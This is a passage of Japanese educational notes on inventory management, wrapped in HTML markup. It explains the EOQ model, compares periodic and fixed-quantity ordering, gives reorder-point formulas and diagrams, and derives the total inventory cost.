&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;begin&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min_&lt;/span&gt;&lt;span&gt;{Q &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;geq &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &amp;amp; C(Q) = C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{R}{Q} + C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{Q}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;} \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{s.t.} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &amp;amp; Q &amp;gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad R &amp;gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &amp;gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &amp;gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;end&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ここで、目的関数 $&lt;/span&gt;&lt;span&gt; C(Q) $&lt;/span&gt;&lt;span&gt; は総在庫費用、制約条件は非負性とパラメータの正値性を保証する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 在庫管理の理論的基盤&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;在庫管理理論は、以下の学問分野に基づいている：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**最適化理論**&lt;/span&gt;&lt;span&gt;（Optimization Theory）：費用最小化・利益最大化&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**確率論**&lt;/span&gt;&lt;span&gt;（Probability Theory）：不確実な需要のモデル化&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**待ち行列理論**&lt;/span&gt;&lt;span&gt;（Queueing Theory）：発注から納入までのプロセス&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;4.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**統計的推論**&lt;/span&gt;&lt;span&gt;（Statistical Inference）：需要予測とパラメータ推定&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 定期定量方式&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;定期定量方式は、&lt;/span&gt;&lt;span&gt;**定期発注方式**&lt;/span&gt;&lt;span&gt;と&lt;/span&gt;&lt;span&gt;**定量発注方式**&lt;/span&gt;&lt;span&gt;の総称である。いずれも、発注時期または発注量のいずれかを固定することで、在庫管理を簡素化する方式である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 定期発注方式&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**特徴**&lt;/span&gt;&lt;span&gt;：発注時期が固定されている&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**メリット**&lt;/span&gt;&lt;span&gt;：発注業務の計画が立てやすい&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**デメリット**&lt;/span&gt;&lt;span&gt;：需要変動への対応が遅れる可能性がある&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 定期発注方式の計算方法&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;定期発注方式では、発注間隔 $&lt;/span&gt;&lt;span&gt; T $&lt;/span&gt;&lt;span&gt; を固定し、各発注時点で在庫量を確認して必要な量を発注する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{発注量} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{需要予測量} + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{安全在庫} - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{現在在庫量} - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{発注残}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ここで：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**需要予測量**&lt;/span&gt;&lt;span&gt;：次回発注までの期間 $&lt;/span&gt;&lt;span&gt; T $&lt;/span&gt;&lt;span&gt; における需要予測&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**安全在庫**&lt;/span&gt;&lt;span&gt;：需要変動に対応するための在庫&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**現在在庫量**&lt;/span&gt;&lt;span&gt;：発注時点での在庫量&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**発注残**&lt;/span&gt;&lt;span&gt;：既に発注済みで未納入の数量&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 定量発注方式&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**特徴**&lt;/span&gt;&lt;span&gt;：発注量が固定されている&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**メリット**&lt;/span&gt;&lt;span&gt;：在庫水準の管理が容易&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**デメリット**&lt;/span&gt;&lt;span&gt;：発注回数が需要に応じて変動する&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 定量発注方式の計算方法&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;定量発注方式では、発注量 $&lt;/span&gt;&lt;span&gt; Q $&lt;/span&gt;&lt;span&gt; を固定し、在庫量が発注点に達したときに発注する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{発注点} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{リードタイム中の需要予測} + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{安全在庫}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;発注量 $&lt;/span&gt;&lt;span&gt; Q $&lt;/span&gt;&lt;span&gt; は通常、EOQ公式などで決定される。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 定期発注方式と定量発注方式の比較&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;| 項目 | 定期発注方式 | 定量発注方式 |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;|------|------------|------------|&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| 発注時期 | 固定 | 変動（発注点到達時） |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| 発注量 | 変動 | 固定 |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| 在庫管理の複雑さ | 中 | 低 |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| 需要変動への対応 | 遅い | 速い |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| 適用例 | 需要が安定している商品 | 需要変動が大きい商品 |&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図1: 在庫管理方式の分類**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[在庫管理方式&amp;lt;br/&amp;gt;Inventory Management Systems] --&amp;gt; B[定期定量方式&amp;lt;br/&amp;gt;Fixed Period/Quantity]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A --&amp;gt; C[確率的在庫モデル&amp;lt;br/&amp;gt;Stochastic Inventory Models]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A --&amp;gt; D[動的在庫モデル&amp;lt;br/&amp;gt;Dynamic Inventory Models]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; E[定期発注方式&amp;lt;br/&amp;gt;Periodic Review System&amp;lt;br/&amp;gt;発注間隔T固定]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; F[定量発注方式&amp;lt;br/&amp;gt;Continuous Review System&amp;lt;br/&amp;gt;発注量Q固定]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt; E1[発注量計算&amp;lt;br/&amp;gt;Q = 需要予測 + 安全在庫&amp;lt;br/&amp;gt;- 現在在庫 - 発注残]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt; E2[発注回数&amp;lt;br/&amp;gt;n = 1/T回/年]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    F --&amp;gt; F1[発注点計算&amp;lt;br/&amp;gt;ROP = d×L + SS&amp;lt;br/&amp;gt;d: 日次需要, L: リードタイム&amp;lt;br/&amp;gt;SS: 安全在庫]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    F --&amp;gt; F2[発注量&amp;lt;br/&amp;gt;Q = EOQ = √2C_0R/C_1]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; G[新聞売り子問題&amp;lt;br/&amp;gt;Newsvendor Problem]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; H[多期間在庫モデル&amp;lt;br/&amp;gt;Multi-Period Models]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    G --&amp;gt; G1[最適発注量&amp;lt;br/&amp;gt;FQ* = 1 - c/a&amp;lt;br/&amp;gt;F: 累積分布関数]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 在庫管理の基本モデル&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;商品の需要を一定とみなす定期定量方式の単純な場合を考える。このモデルでは以下の仮定を置く：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 発注は在庫が0になったときに行う&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 発注と同時に商品が納入される（リードタイム=0）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 需要は一定で変動しない&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 在庫切れは発生しない&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 記号の定義&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; R $&lt;/span&gt;&lt;span&gt;：商品の年間需要量&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; Q $&lt;/span&gt;&lt;span&gt;：1回あたりの発注量&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;：1回あたりの発注費用&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;：商品1単位あたりの年間保管費用&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; C $&lt;/span&gt;&lt;span&gt;：総在庫費用（年間発注費用 + 年間保管費用）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 在庫変動のモデル&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図2: 基本EOQモデルの在庫変動パターン**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "基本EOQモデルの在庫変動パターン"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A[在庫水準 Q&amp;lt;br/&amp;gt;Inventory Level] --&amp;gt;|需要率 d = R/T&amp;lt;br/&amp;gt;Demand Rate| B[在庫減少&amp;lt;br/&amp;gt;Inventory Depletion]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B --&amp;gt;|在庫0&amp;lt;br/&amp;gt;Stockout Point| C[発注実行&amp;lt;br/&amp;gt;Order Placement&amp;lt;br/&amp;gt;t=0]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        C --&amp;gt;|即時納入&amp;lt;br/&amp;gt;Instantaneous Delivery&amp;lt;br/&amp;gt;リードタイムL=0| D[在庫補充&amp;lt;br/&amp;gt;Inventory Replenishment&amp;lt;br/&amp;gt;Q units]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        D --&amp;gt; A&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        E[発注サイクル&amp;lt;br/&amp;gt;Order Cycle&amp;lt;br/&amp;gt;T=Q/R] -.-&amp;gt;|繰り返し| A&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "パラメータ定義"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F[R 年間需要量&amp;lt;br/&amp;gt;Annual Demand]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        G[Q 発注量&amp;lt;br/&amp;gt;Order Quantity]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        H[C_0 発注費用&amp;lt;br/&amp;gt;Ordering Cost]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        I[C_1 保管費用率&amp;lt;br/&amp;gt;Holding Cost Rate]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 総在庫費用の式&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;総在庫費用 $&lt;/span&gt;&lt;span&gt; C(Q) $&lt;/span&gt;&lt;span&gt; は以下のように表される：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;C(Q) = C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{R}{Q} + C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{Q}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 式の導出&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**年間発注費用**&lt;/span&gt;&lt;span&gt;の導出：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;発注回数 $&lt;/span&gt;&lt;span&gt; n $&lt;/span&gt;&lt;span&gt; は年間需要量 $&lt;/span&gt;&lt;span&gt; R $&lt;/span&gt;&lt;span&gt; と発注量 $&lt;/span&gt;&lt;span&gt; Q $&lt;/span&gt;&lt;span&gt; の比で与えられる：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;n = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{R}{Q}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;年間発注費用 $&lt;/span&gt;&lt;span&gt; C_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{order}}(Q) $&lt;/span&gt;&lt;span&gt; は：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;C_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{order}}(Q) = C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot n = C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{R}{Q}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**年間保管費用**&lt;/span&gt;&lt;span&gt;の導出：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;在庫水準 $&lt;/span&gt;&lt;span&gt; I(t) $&lt;/span&gt;&lt;span&gt; は時間 $&lt;/span&gt;&lt;span&gt; t $&lt;/span&gt;&lt;span&gt; の関数として、需要率 $&lt;/span&gt;&lt;span&gt; d = R/T $&lt;/span&gt;&lt;span&gt;（$&lt;/span&gt;&lt;span&gt; T $&lt;/span&gt;&lt;span&gt; は年間期間）を用いて：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;I(t) = Q - d &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot t, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leq t &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leq &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{Q}{d}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;平均在庫量 $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bar&lt;/span&gt;&lt;span&gt;{I} $&lt;/span&gt;&lt;span&gt; は：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bar&lt;/span&gt;&lt;span&gt;{I} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{Q/d} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;^{Q/d} I(t) \, dt = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{d}{Q} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;^{Q/d} (Q - dt) \, dt = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{d}{Q} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left[ Qt - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{dt^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right]_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;^{Q/d} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{Q}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;年間保管費用 $&lt;/span&gt;&lt;span&gt; C_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{hold}}(Q) $&lt;/span&gt;&lt;span&gt; は：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;C_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{hold}}(Q) = C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bar&lt;/span&gt;&lt;span&gt;{I} = C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{Q}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**総在庫費用**&lt;/span&gt;&lt;span&gt;：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;C(Q) = C_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{order}}(Q) + C_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{hold}}(Q) = C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{R}{Q} + C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{Q}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
